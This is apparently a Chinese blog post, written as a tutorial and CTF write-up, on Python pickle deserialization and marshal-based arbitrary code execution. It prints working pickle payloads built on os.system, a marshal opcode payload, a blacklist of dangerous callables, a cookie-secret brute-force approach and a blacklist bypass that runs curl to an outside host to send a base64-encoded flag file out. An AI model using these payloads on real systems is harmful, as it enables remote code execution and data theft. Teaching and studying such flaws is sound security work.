python pickle命令执行与marshal 任意代码执行
1.python pickle反序列化漏洞
自己的理解:
由于在类的__reduce__方法中提供了我们可以自定义程序如何去解序列化的方法,因此如果应用程序接受了不可信任的序列化的数据,那么就可能导致安全问题。
import pickle
import os
class gen(object):
def __reduce__(self):
s = """dir"""
return os.system, (s,) p = gen()
payload = pickle.dumps(p)
with open('payload.pkl', 'wb') as f:
f.write(payload)
以上这段代码中,要调用os模块的system函数来执行dir命令,其中reduce函数中的返回值中需要定义的有要调用的函数,需要传给函数的参数(以元组的形式给出);
接着只需要将该对象实例化后再序列化即可
import pickle
'''
some code
'''
pickle.load(open('./payload.pkl'))
'''
some code
'''
假设以上这段代码是服务器端处理反序列数据的时候的操作,其中没有将要调用的对象函数进行过滤,而是直接进行解序列化,导致代码执行 os.system("dir") 。
2.pickle任意代码执行
import marshal
import base64 def foo():
pass # Your code here print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
我们只需要在foo函数中写上需要执行的代码即可。
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
执行以上函数便可以触发任意代码执行漏洞
from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile SECRET_KEY = 'you will never guess' if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip() app = Flask(__name__)
app.config.from_object(__name__) black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] @app.before_request
def count():
session['cnt'] = 0 @app.route('/')
def home():
remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('index.html', txt=remembered_str, location=location) @app.route('/clear')
def clear():
print("Reminder cleared!")
response = redirect(url_for('home'))
response.set_cookie('location', max_age=0)
return response @app.route('/reminder', methods=['POST', 'GET'])
def reminder():
if request.method == 'POST':
location = request.form["reminder"]
if location == '':
print("Message cleared, tell us when you have found more brains.")
else:
print("We will remember where you find your brains.")
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
print 'location'
return response
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('reminder.html') class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'The callable object {value} is not allowed'.format(value=str(value))) class TimesException(Exception):
def __init__(self):
super(TimesException, self).__init__(
'Call func too many times!') def _hook_call(func):
def wrapper(*args, **kwargs):
session['cnt'] += 1
print session['cnt']
print args[0].stack
for i in args[0].stack:
if i in black_type_list:
raise FilterException(args[0].stack[-2])
if session['cnt'] > 4:
raise TimesException()
return func(*args, **kwargs)
return wrapper def loads(strs):
reload(pickle)
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
print strs,files,unpkler
unpkler.dispatch[pickle.REDUCE] = _hook_call(
unpkler.dispatch[pickle.REDUCE])
return unpkler.load() def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest() if __name__ == '__main__': app.run(host="0.0.0.0", port=5051)
以上面这道ctf题目为例子,可以看到当我们访问reminder页面时(post方法),首先会获取http头部的location属性,然后经过pickle序列化并进行base64编码,然后调用make_cookie函数用为用户设置cookie值,然后跳转到home页面
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
当我们以get方法访问remainder页面时,此时调用getlocation()
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location
此时从cookie中获取location的值,此时会将location的值和密码再进行计算hash然后和从用户处获得的hash值进行比较,如果两者相同的话则说明身份正确。
由于我们是提前不知道密钥的值,并且已知密钥的长度为4,并且location是可控的,那么首先将payload通过post方法到remainder页面以后将会获得一个location的cookie值,此时包含了经过hash的密钥和location,又因为location是我们
已知的,所以可以在本地爆破四位密钥,因为我们最终要利用的是loads函数,它要接收的是一个经pickle序列化后的对象,所以我们必须在本地构造好cookie,所以才需要爆破密钥的值。
因此,构造一个任意的location,就能得到一个hash值,然后经过爆破以后得到密钥指,然后把payload的base64的值和密钥值hash以后组成cookie值get到readminer页面,触发序列化漏洞。
这里因为有黑名单过滤,所以可以使用map函数绕过
class Test(object):
def __init__(self):
self.a = 1
self.b = ''
self.c = ''
def __reduce__(self):
return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"]) aa = Test()
payload = b64e(pickle.dumps(aa))
python pickle命令执行与marshal 任意代码执行的更多相关文章
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露.这里我们简单总结下怎样在自己机子上重现这些漏洞 ...
- Git漏洞允许任意代码执行(CVE-2018-17456)复现
Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为C ...
- PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案
首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_ ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 修复Apache Log4j任意代码执行漏洞安全风险通告
2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 转载--Typecho install.php 反序列化导致任意代码执行
转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...
- [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行
0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...
随机推荐
- angular 子路由
const routes: Routes = [ { path: '', redirectTo: '/home', pathMatch: 'full' }, { path: 'home', compo ...
- MySql8.0后密码认证方式问题[caching-sha2-password]
这个问题通常在laravel中表现为类似下边的异常: local.ERROR: SQLSTATE[HY000] [2006] MySQL server has gone away {"exc ...
- Python3 + django2.0 + apache2 + ubuntu14部署网站上线
自己尝试在本地搭建了 Django 项目后,想部署到自己云服务器上,经常多次尝试和多次踩坑(捂脸),总结如下: 环境:ubuntu14, django2.0, apache2. 1.首先安装需要的库包 ...
- 【AGC010F】Tree Game 博弈论+暴力
Description 有一棵nn个节点的树,第ii条边连接ai,biai,bi,每个节点ii上有AiAi个石子,高桥君和青木君将在树上玩游戏 首先,高桥君会选一个节点并在上面放一个棋子,然后 ...
- loj #2255. 「SNOI2017」炸弹
#2255. 「SNOI2017」炸弹 题目描述 在一条直线上有 NNN 个炸弹,每个炸弹的坐标是 XiX_iXi,爆炸半径是 RiR_iRi,当一个炸弹爆炸时,如果另一个炸弹所在位置 X ...
- Spring IOC容器交给application域对象管理
在项目开发中,我们不能在每次使用IOC容器时,都创建一个ApplicationContext对象, 因此我们将IOC容器交给application域对象管理,application对象在服务器启动时创 ...
- Js屏蔽键盘输入的某些字符,用以部分代替正则表达式
工作当中用到的:有是,用户会在文本框里输入一些无效的(错误的)内容,比如在手机号中输入#等等,一般使用正则表达式,但是只有点击的时候才会验证,用户体验不好,所以想屏蔽这些按键,让键盘根本打不出来,以下 ...
- 图像金字塔、高斯金字塔、差分金字塔(DOG金字塔)、尺度空间、DoG (Difference of Gaussian)角点检测
[图像金字塔] 图像金字塔是一种以多分辨率来解释图像的结构,通过对原始图像进行多尺度像素采样的方式,生成N个不同分辨率的图像.把具有最高级别分辨率的图像放在底部,以金字塔形状排列,往上是一系列像素(尺 ...
- shell-002:统计IP访问量
统计IP访问量 #!/bin/bash # 统计IP的访问量 # 第一步首先得获取到日志的IP # 第二步给IP排序,这样相同的的IP就会在一起 sort # 第三步则给重复的IP统计数量,去重 un ...
- mysql 导入 导出
mysql导入导出sql文件 window下 1.导出整个数据库mysqldump -u 用户名 -p 数据库名 > 导出的文件名mysqldump -u dbuser -p dbname ...